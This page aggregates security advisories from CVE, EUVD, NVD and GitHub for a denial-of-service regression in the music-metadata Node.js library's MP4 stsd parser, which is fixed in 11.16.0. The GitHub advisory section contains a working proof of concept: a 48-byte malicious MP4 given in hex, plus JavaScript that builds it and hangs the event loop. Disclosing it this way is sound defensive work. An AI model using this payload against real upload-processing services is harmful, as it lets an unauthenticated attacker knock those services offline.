Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 275/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 06:49 UTC Customize Public modeDiscuss ChangeIntel on Discord

music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) — unreleased regression on master

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-107391

Published

music-metadata is a metadata parser for audio and video media files. In the public development revision introduced after 11.14.0, a development-branch regression in the MP4 stsd sample-description parser allows an attacker-controlled sample-entry size of zero to prevent the StsdAtom.get cursor from advancing while an attacker-controlled entry_count keeps the synchronous loop running. A crafted MP4-family input can block the Node.js event loop and grow the sample-description table until the process is terminated or exhausts memory. The vulnerable change was present on the public master branch but was not included in music-metadata 11.14.0 or any earlier npm release, and version 11.16.0 contains the fix. This issue is fixed in version 11.16.0.

Source published
8 Oct 2026 19:10:47 UTC
Source modified
9 Oct 2026 15:14:19 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 6.2 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2026-95245

Published

music-metadata is a metadata parser for audio and video media files. In the public development revision introduced after 11.14.0, a development-branch regression in the MP4 stsd sample-description parser allows an attacker-controlled sample-entry size of zero to prevent the StsdAtom.get cursor from advancing while an attacker-controlled entry_count keeps the synchronous loop running. A crafted MP4-family input can block the Node.js event loop and grow the sample-description table until the process is terminated or exhausts memory. The vulnerable change was present on the public master branch but was not included in music-metadata 11.14.0 or any earlier npm release, and version 11.16.0 contains the fix. This issue is fixed in version 11.16.0.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Oct 8, 2026, 7:10:47 PM

dateUpdated: Oct 9, 2026, 3:14:19 PM

Source published
Oct 8, 2026, 7:10:47 PM (timezone not stated)
Source modified
Oct 9, 2026, 3:14:19 PM (timezone not stated)
Observed here
9 Nov 2026 05:07:54 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.2 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

nvd · CVE-2026-107391

Published

music-metadata is a metadata parser for audio and video media files. In the public development revision introduced after 11.14.0, a development-branch regression in the MP4 stsd sample-description parser allows an attacker-controlled sample-entry size of zero to prevent the StsdAtom.get cursor from advancing while an attacker-controlled entry_count keeps the synchronous loop running. A crafted MP4-family input can block the Node.js event loop and grow the sample-description table until the process is terminated or exhausts memory. The vulnerable change was present on the public master branch but was not included in music-metadata 11.14.0 or any earlier npm release, and version 11.16.0 contains the fix. This issue is fixed in version 11.16.0.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-400 · CWE-835

Original publisher date fields

published: 2026-10-08T20:17:33.530

lastModified: 2026-10-13T19:39:28.280

1 source CPE criteria · context only
  • cpe:2.3:a:borewit:music-metadata:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
8 Oct 2026 20:17:33 UTC
Source modified
13 Oct 2026 19:39:28 UTC
Observed here
25 Oct 2026 05:17:13 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.2 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-f94x-6692-553q

Published

### Summary `StsdAtom.get()` in `lib/mp4/AtomToken.ts` parses an MP4 `stsd` (sample description) box's entry table by advancing a cursor with `off += size - 4`, where `size` is a 32-bit, attacker-controlled per-entry length read straight from the file. When `size == 0`, that advance is `0`, so a file declaring a huge `entry_count` and a first entry `size` of `0` spins forever: same bytes read every iteration, no progress, no exit. Because `StsdAtom.get` runs *synchronously* inside `strtok3`'s tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, or `parseWebStream`. This is currently unreleased — present on the `master` branch only, not in the latest npm release (`11.14.0`) or any earlier one. Reporting now, before it ships. ### Details `lib/mp4/AtomToken.ts`, `StsdAtom.get()`: ```ts for (let n = 0; n < header.numberOfEntries; ++n) { const size = Token.UINT32_BE.get(buf, off); // attacker-controlled entry size off += Token.UINT32_BE.len; // +4 (skip the size field) table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off)); off += size - Token.UINT32_BE.len; // net advance = size - 4 } ``` - Introduced by commit `d2a7d6f` ("fix(mp4): locate each sample entry after the first correctly", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was `off += size` (correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it to `off += size - 4` to correct the offset, but added no guard for `size < 4`. - With `size == 0`: net advance for the iteration is `4 + (0 - 4) = 0`. `off` never moves. The loop re-reads the same 4 bytes as `size` on every pass, `entry_count` (also attacker-controlled, up to `0xFFFFFFFF`) never runs out, and `table.push(...)` grows without bound on every iteration. - `StsdAtom.get` is invoked synchronously from `strtok3`'s `AbstractTokenizer.readToken` — there is no `await` point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; `table`'s unbounded growth means it will also eventually exhaust memory if not killed first. - The pre-fix code (`off += size`, no `-4`) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable `FieldDecodingError` rather than looping. That's why this is a *regression* introduced specifically by the `-4` fix, not a pre-existing bug. ### PoC 48-byte MP4 file: a 16-byte `ftyp` box + a 32-byte `stsd` box declaring `entry_count = 0xFFFFFFFF` with one sample entry whose `size` field is `0`. ``` hex: 00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001 sha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80 ``` This builds the malicious buffer inline: ```js import { parseBuffer } from 'music-metadata'; const ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff); const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff]; const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; }; const zeros = (n) => new Array(n).fill(0); function build(entryCount, entrySize) { const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0)); const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry const payload = cat(stsdHeader, entry); const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload); return Uint8Array.from(cat(ftyp, stsd)); } const hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0 console.log('parsing', hang.length, 'byte file …'); await parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop console.log('unreachable'); ``` ``` $ timeout 8 node poc.mjs parsing 48 byte file … # process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time ``` Control (benign input, `entry_count = 1`, same `size = 0`): rejects in 4 ms with a `TypeError` — the loop runs exactly once and terminates, confirming the hang is specific to the `entry_count` × `size == 0` combination, not the `size == 0` field alone. Version-scope control (same 48-byte file against the latest npm release, `[email protected]`, which still has the pre-fix `off += size`): rejects in 4 ms with a `FieldDecodingError` — no hang. Confirms this is a `master`-only regression, not present in anything currently shipped. ### Impact Any application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call. This is the same vulnerability class and CVSS vector as the project's own prior advisory, **GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256** (ASF parser infinite loop, fixed in 11.12.1) — but a different sink (MP4 `stsd`, not ASF extension objects) and, notably, this one reaches *every* tokenizer backend rather than being spared by `parseStream` the way the ASF bug was, since the buffer here is already fully materialized in memory when `StsdAtom.get` runs.

Source published
8 Oct 2026 19:43:25 UTC
Source modified
8 Oct 2026 20:00:05 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 10 Nov 06:49 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current